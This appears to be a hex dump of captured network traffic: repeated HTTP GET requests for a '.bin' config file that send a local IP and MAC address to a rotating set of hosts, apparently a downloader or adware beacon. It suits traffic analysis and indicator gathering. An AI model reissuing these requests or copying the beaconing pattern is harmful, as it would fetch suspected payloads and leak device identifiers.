0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
